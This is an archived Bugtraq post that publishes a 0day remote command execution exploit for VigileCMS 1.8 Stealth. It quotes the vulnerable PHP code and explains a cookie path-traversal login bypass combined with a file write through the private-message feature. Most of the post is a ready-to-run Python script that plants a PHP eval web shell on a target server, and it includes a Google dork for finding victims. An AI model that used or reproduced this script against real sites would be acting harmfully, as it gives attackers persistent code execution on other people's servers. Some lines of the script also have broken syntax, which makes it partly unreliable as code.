

[0day Remote Command Execution] VigileCMS <= 1.8 Stealth

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2007-11/msg00329.html>

- *From:* wegotyourbox@xxxxxxxxxx
 - *Date:* 23 Nov 2007 15:04:21 -0000
-

```
#!/usr/bin/python
#-*- coding: iso-8859-15 -*-
'''
```

```
-----
/ _ | _ _ | _ \ _ _ \ _ _ / | _ / _ | _
| | \ | | _ ( _ < / _ _ \ _ \ _ _ _ | \ _ \
| | | | | \ \ _ _ | | / _ _ / | | |
| _ | _ | ^ _ | / _ _ ^ _ > _ | | _ | _ |
\ _ _ _ | \ \
```

This is a Public Exploit. 22/11/2007 (dd-mm-yyyy)

§ 0day VigileCMS <= 1.8 Stealth – Remote Command Execution §
Vendor: <http://www.vigilenapoletano.it>
Severity: Highest
Author: The:Paradox
Italy r0x.

Visit inj3ct-it.org

Comments: This exploit was coded to show some people what a real vulnerability is.

Related Codes:

---- index.php; line 64:

```
if (isset($_COOKIE[rem_user]) and isset ($_COOKIE[rem_pass]) and !isset($_SESSION[user])) {
if(file_exists(USERS_TAB."/".$_COOKIE[rem_user].$_COOKIE[rem_pass].php)){
$_SESSION[user] = $_COOKIE[rem_user];
$_SESSION[pass] = $_COOKIE[rem_pass];
logthis("$_SESSION[user] si è collegato al Sito: riconosciuto con Cookie!");
UserVisita ();// aggiornamento database utente per numero di visite
}
}
```

---- func.inc.php; line 93:

[0day Remote Command Execution] VigileCMS <= 1.8 Stealth

```
function is_admin(){ ///# FUNCTION ##
if( (isset($_SESSION[user]) and isset($_SESSION[pass])) &&
(file_exists(ADMIN_TAB."/$_SESSION[user].$_SESSION[pass].php")) ){
return true;
} else {
return false;
}
}
```

--- func.inc.php; line 109:

```
function is_superadmin(){ ///# FUNCTION ##
include (LOGS_TAB."/creazione.php");
if (isset($_SESSION["user"]) and isset($_SESSION["pass"]) and ($_SESSION[user]==$primo_amministra))
{
return true;
} else {
return false;
}
}
```

--- vedipm.php; line 210:

```
if ($_POST[ttl] == "") $_POST[ttl]="Nessun oggetto";
```

```
$_POST[ttl] =stripslashes($_POST[ttl]);
```

```
$_POST[ttl] =htmlspecialchars($_POST[ttl]); // impedisce visualizzazioni caratteri html e <script> maligni
tipo javascript
```

```
$_POST[cont]=stripslashes($_POST[cont]);
```

```
$_POST[cont]=htmlspecialchars($_POST[cont]); // impedisce visualizzazioni caratteri html e <script>
maligni tipo javascript
```

```
$_POST[cont]=str_replace("\r\n","[br]",$_POST[cont]);
```

```
$_POST[cont]=str_replace("<~>","<|>",$_POST[cont]);
```

```
$_POST[ttl]=str_replace("<~>","<|>",$_POST[ttl]);
```

```
$time = time();
```

```
$newpm = fopen (PM_TAB."/$_POST[to]", "a");
```

[0day Remote Command Execution] VigileCMS <= 1.8 Stealth

```
fwrite ($newpm, "$_POST[ttl]<~>$_POST[cont]<~>$_SESSION[user]<~>$time<~>non_letto\r\n");
```

```
fclose($newpm);
```

Bug Explanation:

The platform presents some vulnerabilities in the "login system" and in the "private message sender system". The first vulnerability is in index.php that verifies the login without sql database verifying the existence of files with the structure Nick.HashMD5Password.php in a dir "db".

The cms'coder didn't thought about directory transversal. In fact if we try to login with these cookies:

```
rem_user = ../users/Nick  
rem_pass = HashMD5Password
```

Where Nick and HashMD5Password are an existent UserName and MD5 Password's Hash, we'll gain administration rights. This happens because the "function is_admin" will check the file existence of /db/admin/../users/Nick.HashMD5Password.php

Obvious this may work with any file (with some collateral errors because it missed an include :P)

Whatever this doesn't make us able to do a lot of action in control panel because we will not have superadmin rights (see is_superadmin() function)

The second vulnerability is in vedipm.php and make us able to write a file on the server, but we can't get a RCE because our action are limited by htmlspecialchars that changes characters of php code (<>). Whatever \$_SESSION[user] is not htmlspecialcharsd.

Using the first and the second vulnerability we can gain a RCE. We will create a "file named with php code" , with this we'll login and get an evil \$_SESSION[user] that will be written in a php file.

A lot of other Vulnerabilities have been found in this platform, but their functionality depends by the configuration OFF of MAGIC QUOTES or other uses of vulnerabilities I explained , so they were not published.

Google Dork-> Powered by Cms Vigile

Use this exploit at your own risk. You are responsible for your own deeds.

Not tested on version < of 1.6

Use your brain, do not lame. Enjoy. =>

'''

#Python exploit starts:

#Version 2 of this exploit. Not the one published on some sites.

```
import sys, httplib, urllib
```

```
print "\n#####"  
print " VigileCMS <= 1.8 Stealth "  
print " Remote Command Execution "  
print " "  
print " Discovered By The:Paradox "  
print " "  
print " Usage: "  
print " %s [Target] [Path] " % (sys.argv[0])
```

[0day Remote Command Execution] VigileCMS <= 1.8 Stealth

```
print " "
print " Example: "
print " python %s 127.0.0.1 /vigilecms/ " % (sys.argv[0])
print " "
print " You may have to set other options in the "
print " code, like port if isn't 80 "
print " or options for old vigilecms' versions. "
print " "
print "#####\n"
if len(sys.argv)<=1: sys.exit()
else: print "[.]Exploit Starting."

#Some Vars
old = 0 #set to 1 if you are trying to exploit a 1.6 vigile cms version
port = 80
db = "db" #Directory of database
target = sys.argv[1]
try:directory = sys.argv[2]
except IndexError:directory = "/"
#Starting
try:
#Verifying /db/index.php
conn = httplib.HTTPConnection(target,port)
conn.request("GET", "%s%s/index.php" % (directory,db))
r1 = conn.getresponse()
print "Verifying existence of-> %s%s%s/index.php" % (target,directory,db),r1.status, r1.reason
if r1.status == 404:
print "[%s/index.php not found (404)." % (db)
ver1 = "no"
conn.close()
#Verifying /pm/index.php
conn = httplib.HTTPConnection(target,port)
conn.request("GET", "%s%s/pm/index.php" % (directory,db))
r1 = conn.getresponse()
print "Verifying existence of-> %s%s%s/pm/index.php" % (target,directory,db),r1.status, r1.reason
if r1.status == 404:
print "[%s/pm/index.php not found (404)." % (db)
ver2 = "no"
except httplib.ResponseNotReady:
sys.exit("[%s]ResponseNotReady. Aborted. Check your connection.")

if old == 1:
pt = "/"
pt2 = "?"
else:
pt = "?"
pt2 = "&"

if ver1 == "no" or ver2 == "no":
transversal = ".."
print "[%s]One or more Get request returned 404 error. Trying to continue with / path."
```

[0day Remote Command Execution] VigileCMS <= 1.8 Stealth

```
else : transversal = ""
```

```
conn = httplib.HTTPConnection(target,port)
conn.request("POST", "%s/index.php%spag=vedipm%sinviapm=true" % (directory,pt,pt2),
urllib.urlencode({'to': transversal + '/../<?php eval(stripslashes($_GET[dox])); ?>.paradox-got-this-one.php',
'cont': 1}), {"Accept": "text/plain","Cookie": "rem_user=%2F..%2F; rem_pass=%2Findex;","Content-type":
"application/x-www-form-urlencoded"})
response = conn.getresponse()
print "[.]Doing Post Connection #1 -->",response.status, response.reason
conn.close()
```

```
conn = httplib.HTTPConnection(target,port)
conn.request("POST", "%s/index.php%spag=vedipm%sinviapm=true" % (directory,pt,pt2),
urllib.urlencode({'to': transversal + '/../igotyourbox.php', 'cont': 1}), {"Accept": "text/plain","Cookie":
"rem_user="+ transversal
+"%2F..%2F%3C%3Fphp+eval(stripslashes(%24_GET%5Bdox%5D))%3B+%3F%3E;
rem_pass=paradox-got-this-one;","Content-type": "application/x-www-form-urlencoded"})
response = conn.getresponse()
print "[.]Doing Post Connection #2 -->",response.status, response.reason
conn.close()
```

```
try:
```

```
if transversal == "..": path = "%sigotyourbox.php" % (directory)
elif transversal == "": path = "%s%s/igotyourbox.php" % (directory,db)
```

```
conn = httplib.HTTPConnection(target,port)
conn.request("GET", path)
r1 = conn.getresponse()
conn.close()
except httplib.ResponseNotReady:
sys.exit("[_]ResponseNotReady. Aborted.")
```

```
print "[.]Verifying Exploit Success..."
```

```
if r1.status == 404:
```

```
sys.exit("[_]Exploit Failed.")
```

```
else:
```

```
print "[+]Done.\n[+]Removing the page..."
```

```
conn = httplib.HTTPConnection(target,port)
```

```
getrm = path +
```

```
"?dox=unlink('%3C%3Fphp+eval(stripslashes(%24_GET%5Bdox%5D))%3B+%3F%3E.paradox-got-this-one.php');
```

```
conn.request("GET", getrm)
```

```
print "[+]Success :D Exploited.\n\n A PHP Page Has Been Created -> %s%s \n With Content:\n <?php
eval(stripslashes($_GET[dox])); ?>\n Execute your php codes :P Have Fun :D\n\n== Paradox Got This One
:D ==\n" % (target,path)
```